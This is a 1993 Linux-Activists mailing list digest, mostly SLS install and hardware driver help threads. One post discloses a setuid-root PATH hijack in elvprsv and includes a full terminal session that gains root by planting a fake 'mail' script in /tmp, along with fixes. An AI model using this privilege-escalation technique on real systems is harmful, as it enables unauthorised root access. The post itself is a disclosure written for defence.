From: Digestifier To: Linux-Activists@senator-bedfellow.mit.edu Reply-To: Linux-Activists@senator-bedfellow.mit.edu Date: Thu, 12 Aug 93 22:13:06 EDT Subject: Linux-Activists Digest #103 Linux-Activists Digest #103, Volume #6 Thu, 12 Aug 93 22:13:06 EDT Contents: Re: SLS update: p12a and a1.3 (Chris Johnston) Re: LiLO with SLS and DOS 5.0 (Karl J Auer) Re: INFO NEEDED ABOUT LINUX ON LAPTOP (Jonas R Klein) Re: SLS update: p12a and a1.3 (Yonik Christopher Seeley) Re: From your friends at UNIXWorld (John Henders) SLS Diskette Distribution in WA (Bradley Williamson) Re: 3com 3c509 EIII cards (Matt Welsh) non-fixed shared library loader path for Linux? (Laszlo Herczeg) Linux does not recognize my IN2000 SCSI controller/drive (Shelley D. Heburn) Re: hanterm on linux? (Daeshik Kim) Re: More on the DMA timing problem (Peter da Silva) Re: ZMODEM hiccups starting at pl10 (Jeffrey M. Simon) security holes (Timothy Newsham) SLS 1.03 install and missing header files (Mark Hessling) Re: [Q] inittab and xdm (Mike Jagdis) Re: installing SLS from tape/HD (Rudy Albachten) Re: How many PCMCIA slots (Douglas McCallum) ---------------------------------------------------------------------------- From: chris@dudes.surfcty.com (Chris Johnston) Subject: Re: SLS update: p12a and a1.3 Date: Thu, 12 Aug 93 16:42:30 PDT sanjuan!pmacdona@sol.UVic.CA (Peter MacDonald) writes: -> SLS has been updated to 99p12a, the officially announced one of Aug 7. -> Also updated was the mitsumi driver, and Eric's new elf driver. -> So ELF compatiblity now works, again. Nice work Eric. -> -> There is also a new boot disk, a1.3. NFS installs work again. -> Also the other bugs (fstab with /root/, swap setup failure, -> lilo not setup, etc) should be banished. -> Peter - Does this mean I have to download the world again? I had just finished copying all of the SLS 1.03 stuff (8/7/93 ver) to floppy and I read this. Are there only segments that I can get, or should I get it all... Not to sound too stupid, but I just wanted to know. Chris ****************************************************************** ** Chris D. Johnston 714/289-8543 ** ** Surf City Software 714/289-1002 (fax) ** ** chris@surfcty.com Surf.City (AppleLink) ** ** 1095 N. Main Street, M-1, Orange, California 92667 ** ** The Cart Before the Horse? Preposterous! ** ****************************************************************** ------------------------------ From: kja900@cscgpo.anu.edu.au (Karl J Auer) Subject: Re: LiLO with SLS and DOS 5.0 Date: Thu, 12 Aug 1993 23:27:28 GMT In article <24ckpe$gma@nuscc.nus.sg> eng10408@leonis.nus.sg (Andrew Goh Liu Kang) writes: >Did anybody notice that lilo won't boot dos 5. >I have tried a good number of times with different configurations >but dos 5 doesn't seem to be able to boot from lilo. > >The boot error message is: >Non-system disk or disk error. >Replace and hit any key when ready. > >However, dos 5 still boots if I activate the dos partition >to boot via the partition table. Just to prove it can be done :-) I can boot DOS5 using lilo in SLS 1.01, 1.02 and 1.03. Regards, K. Regards, K. ====================================================================== Karl Auer Microcomputer Support Group Karl.Auer@anu.edu.au Computer Services Centre +61-6-2494627 Australian National University ------------------------------ Crossposted-To: comp.sys.laptops From: jonas@world.std.com (Jonas R Klein) Subject: Re: INFO NEEDED ABOUT LINUX ON LAPTOP Date: Fri, 13 Aug 1993 00:37:15 GMT In article <1993Aug11.165050.25443@microsoft.com> raymondc@microsoft.com (Raymond Chen) writes: >Note that Linux is not APM-aware, which means that if some power-management >features kicks in (e.g., hard disk spins down due to inactivity) while you're >running Linux, your machine is toast. The HD spinning down simply generates an "unexpected HD interupt." MAny people either redirect this to an unused VC, or comment the message out of the kernel source. I have tested suspend mode with the SLS a1 disk on the AST PowerExec, and there were no problems. (One's coming in the mail! I can't wait) Pressing the suspend key again instantly brought up my shell. Some systems do have problems with sleep and suspend; however many don't, including the AST, NEC, possibly the zenith, and others. Mail me for a summary I made in the earlier part of the summer. -- +Jonas Klein jonas@world.std.com ------------------------------ From: yseeley@leland.Stanford.EDU (Yonik Christopher Seeley) Subject: Re: SLS update: p12a and a1.3 Date: Fri, 13 Aug 93 00:52:44 GMT In article chris@dudes.surfcty.com (Chris Johnston) writes: >sanjuan!pmacdona@sol.UVic.CA (Peter MacDonald) writes: > >-> SLS has been updated to 99p12a, the officially announced one of Aug 7. >-> Also updated was the mitsumi driver, and Eric's new elf driver. >-> So ELF compatiblity now works, again. Nice work Eric. >-> >-> There is also a new boot disk, a1.3. NFS installs work again. >-> Also the other bugs (fstab with /root/, swap setup failure, >-> lilo not setup, etc) should be banished. >-> > >Peter - > >Does this mean I have to download the world again? I had just finished >copying all of the SLS 1.03 stuff (8/7/93 ver) to floppy and I read this. > >Are there only segments that I can get, or should I get >it all... Not to sound too stupid, but I just wanted to know. Just look at the dates on tsx-11. There are only four disks that have changed since the 7th. You don't even have to download the whole disks, just note the changes in them. - Yonik Seeley yseeley@cs.stanford.edu > >Chris > >****************************************************************** >** Chris D. Johnston 714/289-8543 ** >** Surf City Software 714/289-1002 (fax) ** >** chris@surfcty.com Surf.City (AppleLink) ** >** 1095 N. Main Street, M-1, Orange, California 92667 ** >** The Cart Before the Horse? Preposterous! ** >****************************************************************** ------------------------------ Crossposted-To: comp.sys.next.advocacy,comp.sys.next.software,alt.fan.bill-gates From: jhenders@jonh.wimsey.bc.ca (John Henders) Subject: Re: From your friends at UNIXWorld Date: Fri, 13 Aug 1993 00:31:54 GMT ksh@prl.ufl.edu (Kevin S Ho) writes: >Well, that's a good point, but take a total idiot and tell him to install linux....... Take a total idiot and ask him to use linux, or any un*x. Or DOS. Getting linux installed is the price of admission. ;=) -- John Henders GO/MU/E d* -p+ c+++ l++ t- m--- s/++ g+ w+++ -x+ ------------------------------ From: williams@cs.curtin.edu.au (Bradley Williamson) Subject: SLS Diskette Distribution in WA Date: 13 Aug 93 00:47:01 GMT Could someone out there please tell me if any Diskette Distribution sites for SLS exist in Australia. If so where and how much to send out SLS 1.03? Regards Brad Williamson -- Bradley Williamson Internet: williams@cs.curtin.edu.au Computer Science Student Fidonet: 3:690/254 Curtin University of Technology, Bentley Western Australia ------------------------------ From: mdw@TC.Cornell.EDU (Matt Welsh) Crossposted-To: comp.os.linux.help Subject: Re: 3com 3c509 EIII cards Date: 12 Aug 1993 21:17:59 -0400 In article rgb1@Ra.MsState.Edu (Robert G. Brook) writes: >anyone managed to get linux running with one of these cards? There is NO 3c509 driver for Linux at this time. A lot of people ask this question. The answer is "no". :) mdw -- Matt Welsh, mdw@tc.cornell.edu "On the Internet, nobody knows you're a dog." ------------------------------ From: las@io.org (Laszlo Herczeg) Subject: non-fixed shared library loader path for Linux? Date: 12 Aug 1993 21:38:53 GMT Is /lib hardcoded into the kernel as the shared library path, or would it be possible to implement a user-defineable shlib loader path just like on SUN machines? Incidentally, I would also like to know if one can use mkhole to make holes in shared libs so they would take up less space. (The docs say one can only apply mkhole on "pure executables" but what that means is not defined precisely. I am sure that on Hlu's combo disks the shlibs are compressed somehow, because otherwise all that stuff wouldn't fit on a 1440k floppy. And yes, I know that GNU cp also makes holes in executables.) Laszlo ------------------------------ From: errand@eng.umd.edu (Shelley D. Heburn) Subject: Linux does not recognize my IN2000 SCSI controller/drive Date: 13 Aug 1993 00:57:01 GMT I have tried SLS a1.3 boot disk and the slackware boot disk, and neither one recognizes my scsi controller and drive. Do either one of these boot disks support the In2000 ( has the in2000.h and in2000.c files compiled into them) ? If yes, what should I try ? If no, where do I get a boot disk from ? My system consists of : HOT-403 OPTi 486 WB-33 system board 16 Megs 70ns memory In2000 SCSI controller bios vcn 1-02 (DOS 5 and floppy support enabled) Maxtor LXT-213SY SCSI drive Diamond Stealth Vram bios version 2.33 3.5" HD floppy 5.25" HD floppy Any and all help is appreciated, Thankyou. ///////////////////////////////////////////////////////////////////////////// errand@eng.umd.edu In real life: Shelley Heburn "Spontaneity can be very nice dear, but there is a great deal of charm to a well planned seduction." : Polgara //////////////////////////////////////////////////////////////////////////// ------------------------------ From: dskim@eng.umd.edu (Daeshik Kim) Crossposted-To: soc.culture.korean Subject: Re: hanterm on linux? Date: 13 Aug 1993 01:19:43 GMT In article <1993Aug12.042935.17865@news.yale.edu> jshin@minerva.cis.yale.edu (Jungshik Shin) writes: > > Is this the same patch as one I included in Hangul.faq at >Seoul.caltech.edu and Hanterm.linux file in /pub/Korean/unix at Seoul >archive? > Yup. -- * Daeshik Kim (angma at IRC) \ O: (703) 689-5878 * * dkim@{loony.UUCP, sprint.com} dskim@eng.umd.edu * * DAESHIK.KIM@sprintintl.sprint.com dkim at kids * * uunet.UU.NET!loony!Hell!Devil crash at HiTel * ------------------------------ Crossposted-To: comp.os.os2.programmer,comp.os.mach,comp.os.minix,comp.periphs,comp.unix.bsd,comp.unix.pc-clone.32bit,comp.os.386bsd.development From: peter@NeoSoft.com (Peter da Silva) Subject: Re: More on the DMA timing problem Date: Fri, 13 Aug 1993 00:30:05 GMT In article jmonroy@netcom.com (Jesus Monroy Jr) writes: > >> Enough already! Just post the code somewhere and someone with some > >> real programming experience will figure out what's wrong with your > >> code. > POINT #1. You don't have my coe. Well, yes. that's the bottom line, isn't it. Nobody seems to have seen this mythical code except for your "beta" group, and nobody in that group seems to be willing to admit it. Why don't you just do what everyone else who's working on drivers for 386BSD does, and let the folks at Lamp and Freefall in on it. Unlike you, they're actually shipping product. Damn good product, at that. -- Peter da Silva. . `-_-' Hefur thu fadhmadh ulfinn i dag? 'U` "Det er min ledsager, det er ikke drikkepenge." ------------------------------ From: jmsimon@acsu.buffalo.edu (Jeffrey M. Simon) Subject: Re: ZMODEM hiccups starting at pl10 Date: Fri, 13 Aug 1993 01:30:29 GMT In article <1993Aug12.200428.22903@TorreyPinesCA.ncr.com> kevin@TorreyPinesCA.ncr.com (Kevin Sanders) writes: >After installing SLS 1.02 (some time ago) and upgrading to pl10 kernel, >I noticed that zmodem transfers were generating CRC errors every 10000 >bytes +/-. This did not occur with the pl9 kernel. Looking at the I'd guess that you have 16450's (or another non-16550 UART) and your CRC errors coincide with when 'update' syncs the disk. If this is the case, try killing update before your transfer (you can restart it after). I've noticed this in several systems, both IDE and SCSI based; it just appears to take too long to flush the buffer caches to keep zmodem happy :-) -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Jeffrey M. Simon INTERNET: jmsimon@cs.buffalo.edu 112 Fairgreen BITNET: jmsimon%cs.buffalo.edu@ubvm.bitnet Amherst, NY 14228 UUCP: ...!{rutgers,uunet}!cs.buffalo.edu!jmsimon ------------------------------ From: newsham@wiliki.eng.hawaii.edu (Timothy Newsham) Subject: security holes Date: Fri, 13 Aug 1993 01:15:35 GMT Hi. Since Linux is hacker ware to start with I thought it would be kosher to post security holes to the world, since people running linux would want to know what the holes are and how to fix them, which doesnt seem to be what big brother CERT is all about. Anway the hole: there is a vulnerability in /usr/bin/elvprsv (didnt you just expect it?). If it is installed suid root on your machine users may use it to get root on your system. problem: elvprsv exec's the file 'mail' but does not specify the path name. by setting up your path correctly you can make it run a file owned by you named 'mail' as root. fixes : take suid bit off, fix the source giving a full path name and recompile. notes: I didnt test for expreserve holes from other os's. My bet is there are other vulnerabilities in elvprsv. Probably best to take its suid bit off, maybe make a special elvis userid and changing /usr/preserve's ownership (then when people break through evlprsv they will be able to read any preserved files). example: ======= Script started on Wed Aug 11 22:27:13 1993 > cd /usr/bin > ls -l elvprsv -r-sr-xr-x 1 root bin 5332 Jul 4 03:12 elvprsv > echo $PATH /usr/TeX/bin:/usr/X386/bin:/usr/local/bin:/usr/bin:/bin:/usr/etc:/etc:.:/home/allen:/home/allen/bin > set PATH = /tmp:$PATH > echo $PATH /tmp:/usr/TeX/bin:/usr/X386/bin:/usr/local/bin:/usr/bin:/bin:/usr/etc:/etc:.:/home/allen:/home/allen/bin > cd /tmp > vi mail > cat mail #!/bin/sh id > /tmp/test.out whoami > /tmp/test.out > chmod +x mail > vi tfile [ type some stuff here ] Suspended > kill % > [1] + Suspended (tty output) vi tfile > % vi tfile Error stuffing name "" into temp file > cat test.out root > cd /usr/bin > strings elvprsv 0123456789 aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ stat() failed root uid not found in password file mail %s >/dev/null 2>/dev/null A version of your file "%s%c%s" was preserved when %s. To recover this file, do the following: cd %s elvrec %s With fond wishes for a speedy recovery, Elvis P.S. %s TUWVS l$l0 t$hh= j/Uh^ t$,h [^_] %s: truncated header blocks %s: unrecoverable -- header trashed /usr/preserve/Index /usr/preserve %s%cp%ld %s %s hUWVSj [^_] t$|h [^_] [^_] [^_] _Pj/h \$4S [^_] [^_] t*Rh [^_] the editor went away UWVS [^_] /usr/lib/ /lib/ IQRV : can't load library ' Incompatible version. Too many libraries. No such library. Permission denied. Exec format error. Unspecified error. Corrupt fixup table. UWVS [^_] LD_LIBRARY_PATH : incompatible minor version numbers ( Warning: 8:u% Qhv libc.so.4 DLL Jump 4.4pl1 > exit exit Script done on Wed Aug 11 22:29:49 1993 ------------------------------ From: mark@snark.itc.gu.edu.au (Mark Hessling) Subject: SLS 1.03 install and missing header files Date: 13 Aug 93 01:09:51 GMT I have the following comments and questions to do with installation of SLS 1.03. Firstly, I would like to say that I really appreciate the time and effort put into the SLS distribution by Peter. The comments following are NOT intended to be criticisms. - I had a lot of trouble getting SLS to install. I have a 386 with 4mb of memory, so the first thing I did was select the option to create a swap partition. Unfortunately, mkswap ran out of memory while trying to create the swap partition. This results in a catch-22 situation which should be resolved before the next release. - Also due to memory shortage (and no swap space), some of the packages failed to install and had to be done by hand afterwards. - Now I have a working system, I appear to be missing many of the gcc header files (stddef.h, float.h, to name two). Does anyone know from which package they should be extracted ? Thanks in advance, Mark. ======================================================================== Mark Hessling Email: M.Hessling@gu.edu.au DBA,ITS Phone: +617 875 7691 Griffith University Fax: +617 875 5314 Nathan, Brisbane QLD 4111 ***** PDCurses Maintainer ***** Australia *** Author of THE and GUROO *** ======================================================================== ------------------------------ From: jaggy@purplet.demon.co.uk (Mike Jagdis) Subject: Re: [Q] inittab and xdm Date: Wed, 11 Aug 1993 23:19:00 +0000 * In message , Rafal Kustra said: RK> I have not been able to solve: If I start xdm without being RK> attached to tty RK> (ie either from inittab or from one of rc files) the xterms RK> come up with '#' set for delete and '@' for kill. Xterm gets the current stty settings from its controlling terminal then detaches itself, reattaches to a new pty and applies them. If it doesn't have a controliing terminal to read to start with it uses compiled in defaults which are the traditional teletype values. You can override the compiled in defaults by adding a ttyModes resource to /usr/X386/lib/X11/app-defaults/Xterm. Syntax is like stty options. See the xterm manual page for details. Mike ------------------------------ From: rudy@dvorak.amd.com (Rudy Albachten) Subject: Re: installing SLS from tape/HD Date: Fri, 13 Aug 93 01:23:31 GMT In article <24bti1INN6hq@mthvax.cs.miami.edu> wb8foz@skybridge.scl.cwru.edu (David Lesher) writes: >I'm trying to upgrade, or rather, start all over with the newest SLS - >1.03, I guess. > >If possible to do the rest of the install directly from tape, what form >should the tape be? I install SLS from cartridge tape and had problems figuring this out also. What I did was create a directory, downloaded all of SLS, and made an a1 disk. I don't know if the order of the files on the tape is important, but I decided to play it safe, so I made sure I tarred the files in order. If you have a directory for each disk (same way the files are stored on tsx-11) just make a tar tape of the whole set: tar cvf /dev/your-tape-drive ?? ??? (I use ?? and ??? so that the directories are in order: a2 a3 a4... x7 x8 x9 x10 if I used . or * x10 would be between x1 and x2). Hope this makes sense.... I sure like installing from tape better than doing 30 floppy swaps. -- Rudy Albachten CAD Manager, PC Processor Development Advanced Micro Devices Austin Texas ------------------------------ Crossposted-To: alt.periphs.pcmcia,comp.sys.laptops From: dougm@teal.csn.org (Douglas McCallum) Subject: Re: How many PCMCIA slots Date: Fri, 13 Aug 1993 01:51:42 GMT In article <2496f2$1v6@pad-thai.aktis.com> bjaspan@GZA.COM (Barry Jaspan) writes: ... >A modem by Megahertz and ethernet cards by D-Link and Socket Communications >work now. Each of these currently require a specific driver. To my >knowledge, no one has tried to get a flash memory card, scsi card, or audio >card (what is a pcmcia audio card?) to work. New Media has something they call a multimedia card that supposedly handles digital sound. There will likely be other digital sound cards to appear before long. That's the only thing I can think of as an "audio" card. If you have the Socket Communications Ethernet card supported, it is likely that a number of other cards are supported. All the ones that claim to be NE-2000 compatible most likely come from the same design. > >I am working on quasi-generic PCMCIA support for Linux. It's moving along, >but slowly, because I have a real job. I might have an alpha version in a >couple weeks. It will be "quasi"-generic because PCMCIA cards do not appear >to have a sufficiently useful standard that everyone adheres to to make truly >generic support possible. Don't ask me for test versions, I'll announce it >when I'm ready. Except for RAM cards, what isn't standard? There is a very detailed spec for what configuration a card has. For example, with a modem card, you should be able to determine what features it has. With LAN cards, it depends on whether the vendor is using the approved LAN tuple yet or not to get some information, but the I/O addresses and vendor info are usually there. You still need to have some specific drivers to deal with differences between cards from different vendors for LAN cards. This is the same as all other Ethernet cards for ISA, EISA, MCA, etc. >The code I am writing will recognize cards added and removed at runtime. >However, it will ultimately depend on whether the individual drivers can >handle it. For example, the serial device can have devices configured >dynamically, so modems will support hot changes. Currently, the network >device drivers cannot handle dynamic changes, so ethernet cards will have to >be present at boot time. Some real interesting problems can come up :-) > >Note that, to my knowledge, all the Linux PCMCIA development done so far only >works with the Intel 82365SL PCIC controller. I think this is the most common >controller, but it is not universal; the Compudyne subnotebook, for one, uses >something else. Probably supporting other controllers won't be hard, but I >can't do the work without a machine to test it on. The 82365 and some clones of it (like Toshiba) are probably the most common. The next most is probably the Databook controllers. Cirrus Logic is another one and it is very similar to the 82365 but has a couple of differences. There are a few more but they seem to be a little less common. Doug McCallum dougm@csn.org ------------------------------ ** FOR YOUR REFERENCE ** The service address, to which questions about the list itself and requests to be added to or deleted from it should be directed, is: Internet: Linux-Activists-Request@NEWS-DIGESTS.MIT.EDU You can send mail to the entire list (and comp.os.linux) via: Internet: Linux-Activists@NEWS-DIGESTS.MIT.EDU Linux may be obtained via one of these FTP sites: nic.funet.fi pub/OS/Linux tsx-11.mit.edu pub/linux tupac-amaru.informatik.rwth-aachen.de pub/msdos/replace The current version of Linux is 0.99pl9 released on April 23, 1993 End of Linux-Activists Digest ******************************